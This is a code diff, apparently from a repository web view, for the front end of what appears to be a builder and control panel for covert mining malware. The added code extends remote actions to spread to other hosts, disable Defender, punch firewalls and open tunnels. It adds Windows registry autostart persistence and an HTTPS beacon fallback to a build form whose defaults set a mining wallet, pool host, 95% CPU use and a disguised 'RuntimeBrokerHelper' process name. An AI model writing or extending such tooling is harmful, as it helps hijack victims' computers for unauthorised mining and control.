expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument(); expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
}); });
@@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => {
}); });
it('disables recon buttons when agent offline', async () => { it('disables recon buttons when agent offline', async () => {
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />); render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />
</MemoryRouter>
);
await waitFor(() => { await waitFor(() => {
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument(); expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
}); });

View File

@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch_status', 'hole_punch_status',
'spread_now', 'spread_now',
'start_tunnel', 'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan', 'subnet_scan',
'defender_off', 'defender_off',
'firewall_punch', 'firewall_punch',
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
case 'spread_now': case 'spread_now':
return caps.auto_spread || caps.remote_aggressive; return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel': case 'start_tunnel':
case 'tunnel_cloudflared':
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan': case 'subnet_scan':
case 'defender_off': case 'defender_off':
case 'firewall_punch': case 'firewall_punch':

View File

@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
run_as: 'scheduled', run_as: 'scheduled',
host_binary_target: 'ssh', host_binary_target: 'ssh',
auto_start: true, auto_start: true,
autostart_mode: '',
registry_persistence: '',
registry_run_hkcu: false,
registry_run_hklm: false,
registry_run_once: false,
registry_explorer_run: false,
persistence: true, persistence: true,
process_name: 'RuntimeBrokerHelper', process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 95, max_cpu_usage_pct: 95,

View File

@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
return { return {
worker_name: { disabled: false, badge: 'baked' }, worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' }, server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' }, wallet: { disabled: false, badge: 'baked' },
output_dir: { output_dir: {
disabled: false, disabled: false,
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
? 'Linked to persistence — Scheduled/Service mode always auto-starts.' ? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined, : undefined,
}, },
autostart_mode: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal
? 'Boot/logon autostart hooks are Windows-only.'
: undefined,
},
registry_run_hkcu: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_once: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_hklm: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_explorer_run: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
run_as: { disabled: false, badge: 'baked' }, run_as: { disabled: false, badge: 'baked' },
host_binary_target: { host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal), disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),

View File

@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
worker_name: worker, worker_name: worker,
server_url: serverUrl, server_url: serverUrl,
backup_server_urls: lanBackups, backup_server_urls: lanBackups,
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
wallet: form.wallet?.trim() || form.wallet, wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!, pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!, pool_port: form.pool_port || preset.pool_port!,

Some files were not shown because too many files have changed in this diff Show More